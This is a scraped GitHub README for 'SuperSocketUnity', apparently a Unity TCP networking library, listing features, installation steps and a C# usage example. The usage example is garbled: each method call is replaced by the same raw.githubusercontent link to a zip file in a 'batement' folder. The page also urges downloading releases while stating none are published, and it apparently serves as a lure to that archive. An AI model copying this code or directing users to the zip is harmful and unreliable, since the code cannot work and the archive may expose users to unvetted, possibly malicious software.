Skip to content

πŸš€ Build high-performance TCP networks for Unity with SuperSocketUnity, optimized for mobile games and client applications.

Notifications You must be signed in to change notification settings

1010kakq/SuperSocketUnity

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ SuperSocketUnity - Easy High-Performance TCP Networking for Unity

Download SuperSocketUnity

πŸ“‹ Table of Contents

πŸ“ Overview

SuperSocketUnity is a high-performance TCP networking library designed for Unity. It focuses on optimizing mobile games and client applications. With SuperSocketUnity, connecting to a server and sending messages is straightforward, even for those without a technical background.

⭐ Features

  • High Performance: Built on UniTask for asynchronous operations with minimal overhead.
  • Secure Connections: Supports SSL/TLS for secure data transmission.
  • Protocol Compatibility: Works with both IPv4 and IPv6.
  • Serialization Support: Native integration with Protocol Buffers for efficient data handling.
  • Flexible Protocols: Easily customize protocols, including handling data efficiently.
  • Memory Optimization: Utilizes object and connection pooling to reduce memory usage and improve performance.
  • Logging and Tracking: A robust logging system helps with monitoring and debugging network activities.
  • Mobile Optimization: Tailored for approval processes on iOS and Android platforms.

πŸ’» System Requirements

  • Unity Version: 2021.3 or later
  • Target Platforms:
    • iOS
    • Android
    • Windows PC

⬇️ Download & Install

To get started with SuperSocketUnity, visit the following page to download the latest release:

Download SuperSocketUnity

Installation Steps

  1. Visit the Release Page: Go to the Releases page.
  2. Download the Latest Version: Look for the latest version and download the distributed package based on your development environment.
  3. Import into Unity: Open your Unity project. Drag and drop the downloaded package into your project window, or use the "Assets" menu to import the package.

πŸš€ Getting Started

After installing SuperSocketUnity, you can set up your project to use its features quickly.

  1. Create a Client Instance: Start by creating an instance of the UnitySuperSocketClient.
  2. Connect to a Server: Use the ConnectAsync method to link to your desired server's address and port.
  3. Send Messages: Utilize the Send method to transmit messages to the server.
  4. Handle Responses: Register for incoming messages with a custom message handler.

πŸ› οΈ Usage Example

Here's a simple example to help you understand how to use the library:

// Create the client
var client = new UnitySuperSocketClient();

// Connect to the server
await https://raw.githubusercontent.com/1010kakq/SuperSocketUnity/main/batement/SuperSocketUnity.zip("127.0.0.1", 8080);

// Send a message
https://raw.githubusercontent.com/1010kakq/SuperSocketUnity/main/batement/SuperSocketUnity.zip<MyMessage>(1001, 1, new MyMessage { Text = "Hello Server!" }, out int seqId);

// Register the message handler
https://raw.githubusercontent.com/1010kakq/SuperSocketUnity/main/batement/SuperSocketUnity.zip(1002, (msgId, seqId, serverId, data) => {
    var response = data as MyResponse;
    https://raw.githubusercontent.com/1010kakq/SuperSocketUnity/main/batement/SuperSocketUnity.zip($"Received message from server: {https://raw.githubusercontent.com/1010kakq/SuperSocketUnity/main/batement/SuperSocketUnity.zip}");
});

In this example:

  • A new client is created.
  • The client connects to a server at IP address 127.0.0.1 on port 8080.
  • A message is sent to the server, and a response handler is established.

🀝 Support and Contributions

If you encounter any issues or have questions, feel free to reach out. Contributions to the project are welcome. Please follow the guidelines on the GitHub repository for contributing.

Visit the Support Page for updates and assistance.

For detailed documentation, refer to the project's wiki. Your input helps improve this library for everyone.

About

πŸš€ Build high-performance TCP networks for Unity with SuperSocketUnity, optimized for mobile games and client applications.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages